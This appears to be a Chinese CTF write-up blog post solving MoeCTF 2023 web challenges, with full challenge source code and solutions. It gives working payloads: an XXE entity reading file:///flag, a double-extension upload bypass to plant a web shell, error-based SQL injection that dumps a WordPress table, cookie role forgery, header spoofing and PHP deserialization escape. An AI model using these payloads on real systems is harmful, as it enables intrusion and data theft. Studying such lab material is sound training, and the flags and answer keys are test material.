Moectf

Moectf

Web-http

1
2
3
4
5
6
7
8
9
this is GET method,
your mission:

1.use parameter: UwU=u
2.post **form**: Luv=u
3.use admin character
4.request from 127.0.0.1
5.use browser 'MoeBrowser'
Complete All Missions

1.get方式传参: UwU=u
2.post方式传参: Luv=u
3.bp抓包改cookie为: admin
4.加入X-forwarded-for: 127.0.0.1
5.修改UA头为: MoeBrowser

Brilliant! Now I give you my flag: moectf{basic_http_knowledge_S0y4sE6ZlBM9RDemgwzNI0BOR4E4CJ7U}

Web-Web入门指北

题目为:

666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c513152475831637959
6c396a61474673624756755a3055684958303d

通过hex解码为:

flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=

Base64解码得到flag

moectf{w3lCome_To_moeCTF_W2b_challengE!!}

Web-彼岸的flag

在源代码中找到flag

压缩包内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
## 一些api说明

注册 `POST /register`
json
{
"username":"koito",
"password":"123456"
}


登录 `POST /login`
json
{
"username":"koito",
"password":"123456"
}


获取flag `GET /flag`

查询服务状态 `GET /status`

进入/register

hint说了readme只是一个样例,不是拿来复制的

修改参数POST提交

1
2
3
4
{
"username":"123456",
"password":"123456"
}

注册成功

然后进入/login

POST提交

1
2
3
4
{
"username":"123456",
"password":"123456"
}

登入成功

尝试访问/flag,提示

{“error”: “ok”, “data”: {“flag”: “flag{sorry_but_you_are_not_admin}”}}

抓包发现cookie

base64解码后为{“username”: “zijie”, “password”: “123456”, “role”: “user”}

修改user为admin后base64编码放回cookie里

再次访问/flag

得到flag

{“error”: “ok”, “data”: {“flag”: “moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}”}}

Web-gas!gas!gas!

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import re
session=requests.session()
url="http://localhost:59398"
data={
"driver":"ttycp3",
"steering_control":'0',
"throttle":'2'
}
for i in range(7):
s=session.post(url=url,data=data)
if "moectf" in s.text:
print(s.text)
break
att=re.findall("<font color=\"red\">([\u4e00-\u9fa5!,]+)",s.text)
print(att)
if "直行" in att[0]:
data["steering_control"]='0'
elif "左" in att[0]:
data["steering_control"]='1'
print(data)
elif "右" in att[0]:
data["steering_control"]='-1'
if "保持" in att[0]:
data["throttle"]='1'
elif "大" in att[0]:
data["throttle"]='2'
elif "小" in att[0]:
data["throttle"]='0'

Web-moe图床

该题只允许上传png后缀文件,且不能上传.htaccess文件

抓包发现更改name值后显示源码

L5lim.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
$tmp_path = $_FILES['file']['tmp_name'];
if ($file['type'] !== 'image/png') {
die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
}
if (filesize($tmp_path) > 512 * 1024) {
die(json_encode(['success' => false, 'message' => '文件太大']));
}
$fileName = $file['name'];
$fileNameParts = explode('.', $fileName);
if (count($fileNameParts) >= 2) {
$secondSegment = $fileNameParts[1];
if ($secondSegment !== 'png') {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
} else {
die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
}
$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);
if (move_uploaded_file($tmp_path, $uploadFilePath)) {
die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
} else {
die(json_encode(['success' => false, 'message' => '文件上传失败']));
}
}
else{
highlight_file(__FILE__);
}
?>

审计发现只对第一个点后的后缀检查,传shell.png.php绕过

蚁剑连接

Web-了解你的座驾

抓包发现图片通过POST方式发送xml信息来获取

即xxe漏洞,payload进行ulr编码后发送

payload:

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE feng [
<!ENTITY file SYSTEM "file:///flag">
]>
<xml><name>&file;</name></xml>

从XML相关一步一步到XXE漏洞

Web-大海捞针

LYAOv.png

使用Burpsuit的Intruder模块进行爆破,在长度明显与别的有很大差别的163中找到flag

LYHK9.png

Web-meo图床

未对后缀做限制,给出了文件路径,访问后为空白
构造报错后

LYwXH.png

尝试利用file_get_contents()函数

images.php?name=../../../flag,访问后并没有提示404而是有一个图片格式的样式,下载下来用记事本打开就可以看见文件内容,

1
2
3
4
5
6
7
8
hello~
Flag Not Here~
Find Somewhere Else~


<!--Fl3g_n0t_Here_dont_peek!!!!!.php-->

Not Here~~~~~~~~~~~~~ awa

访问Fl3g_n0t_Here_dont_peek!!!!!.php内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

highlight_file(__FILE__);

if (isset($_GET['param1']) && isset($_GET['param2'])) {
$param1 = $_GET['param1'];
$param2 = $_GET['param2'];

if ($param1 !== $param2) {

$md5Param1 = md5($param1);
$md5Param2 = md5($param2);

if ($md5Param1 == $md5Param2) {
echo "O.O!! " . getenv("FLAG");
} else {
echo "O.o??";
}
} else {
echo "o.O?";
}
} else {
echo "O.o?";
}

?> O.o?

数组绕过得到flag

Web-夺命十三枪

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>

Hanxin.exe.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);

public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

public $Chant = '';
public $Spear_Owner = 'Nobody';

function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}

function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}

?>

字符串逃逸

";s:11:"Spear_Owner";s:6:"MaoLei";}共35个字符

找出相应字符串复制几遍逃逸

"di_qi_qiang" => "Penetrating_Gaze"逃逸5个字符

"di_shi_san_qiang" => "Unrepentant_Lethality"逃逸5个字符

1
GET /?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

Web-signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from secrets import users, salt
import hashlib
import base64
import json
import http.server
with open("flag.txt","r") as f:
FLAG = f.read().strip()
def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]
assert "admin" in users
assert users["admin"] == "admin"
hashed_users = dict((k,gethash(k,v)) for k,v in users.items())
eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
def decrypt(data:str):
for x in range(5):
data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
return data
__page__ = base64.b64encode("PCFET0NU...KPC9odG1sPg==")
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
try:
if self.path == "/":
self.send_response(200)
self.end_headers()
self.wfile.write(__page__)
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")
def do_POST(self):
try:
if self.path == "/login":
body = self.rfile.read(int(self.headers.get("Content-Length")))
payload = json.loads(body)
params = json.loads(decrypt(payload["params"]))
print(params)
if params.get("username") == "admin":
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
print("admin")
return
if params.get("username") == params.get("password"):
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
print("same")
return
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")
return
self.send_response(403)
self.end_headers()
self.wfile.write(b"Invalid username or password")
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"404 Not Found")
except Exception as e:
print(e)
self.send_response(500)
self.end_headers()
self.wfile.write(b"500 Internal Server Error")
if __name__ == "__main__":
server = http.server.HTTPServer(("", 9999), MyHandler)
server.serve_forever()
1
2
3
4
5
6
7
8
9
10
11
12
hashed = gethash(params.get("username"),params.get("password"))
for k,v in hashed_users.items():
if hashed == v:
data = {
"user":k,
"hash":hashed,
"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
}
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(data).encode())
print("success")

需要hashed==v

hashed = gethash(params.get(“username”),params.get(“password”))

1
2
3
4
5
6
7
def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]

异或操作

1
2
3
4
5
6
for k,v in hashed_users.items()

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

assert "admin" in users
assert users["admin"] == "admin"

hashed_users为{“admin”,0},即k=admin,v=0,我们需要使hashed==0,即异或我们传入的username和password,username==password,但被限制username和password不能相等

这里我们就要利用字符和数字进行绕过,例如我们传入{"username":"1","password":1} ,二者类型不同所以不相等,但进行加盐哈希处理时会把数字当作字符串来处理,因此二者的gethash值为0,从而满足题目条件

Web-出去旅游的心海

在源代码中发现wp-content/plugins/visitor-logging/logger.php

XlHXC.png

用sqlmap爆出flag

爆数据库名:

1
ip=1&user_agent=12&time=1 and updatexml(1,concat('^',(database()),'^'),1)

数据插入失败: XPATH syntax error: ‘^wordpress^’

爆表名:

1
ip=1&user_agent=12&time=1 and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='wordpress' limit 0,1),'^'),1)

数据插入失败: XPATH syntax error: ‘^secret_of_kokomi^’

爆列名:

1
ip=1&user_agent=12&time=1 and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='secret_of_kokomi' and table_schema='wordpress' limit 0,1),'^'),1)

数据插入失败: XPATH syntax error: ‘^content^’

爆数据:

报错注入有字符长度限制,所以这里要用right进行切割

1
ip=1&user_agent=12&time=1 and updatexml(1,concat('^',right((select group_concat(content)from secret_of_kokomi),30),'^'),1)

数据插入失败: XPATH syntax error: ‘^ve2y_C0de_3nd_Poss1bIlIti3s!!}^’

1
ip=1&user_agent=12&time=1 and updatexml(1,concat('^',right((select group_concat(content)from secret_of_kokomi),50),'^'),1)

数据插入失败: XPATH syntax error: ‘^moectf{Dig_Thr0ugh_Eve2y_C0de_3’


Moectf
http://example.com/2023/09/17/比赛/Moectf/
作者
Englobe
发布于
2023年9月17日
许可协议